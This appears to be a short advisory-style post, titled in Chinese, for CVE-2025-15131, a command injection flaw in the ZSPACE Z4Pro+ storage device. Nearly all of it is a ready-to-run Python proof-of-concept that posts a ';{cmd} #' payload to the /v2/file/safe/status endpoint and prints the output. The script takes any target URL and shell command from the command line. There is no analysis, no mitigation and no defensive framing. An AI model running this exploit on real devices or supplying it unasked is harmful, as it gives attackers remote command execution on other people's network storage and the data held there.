CVE-2025-15131 ZSPACE Z4Pro+ 命令注入漏洞

import requests import sys # CVE-2025-15131 PoC - ZSPACE Z4Pro+ Command Injection # Target: /v2/file/safe/status endpoint def exploit(target_url, cmd="id"): """ Exploit command injection in zfilev2_api_SafeStatus function Args: target_url: Target device URL (e.g., http://192.168.1.100) cmd: Command to execute (default: id) """ endpoint = f"{target_url}/v2/file/safe/status" # Malicious payload with command injection # Inject command via status parameter payload = { "status": f";{cmd} #" } try: print(f"[*] Target: {target_url}") print(f"[*] Sending malicious request to {endpoint}") print(f"[*] Command: {cmd}") response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://192.168.1.100 'id'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" exploit(target, command)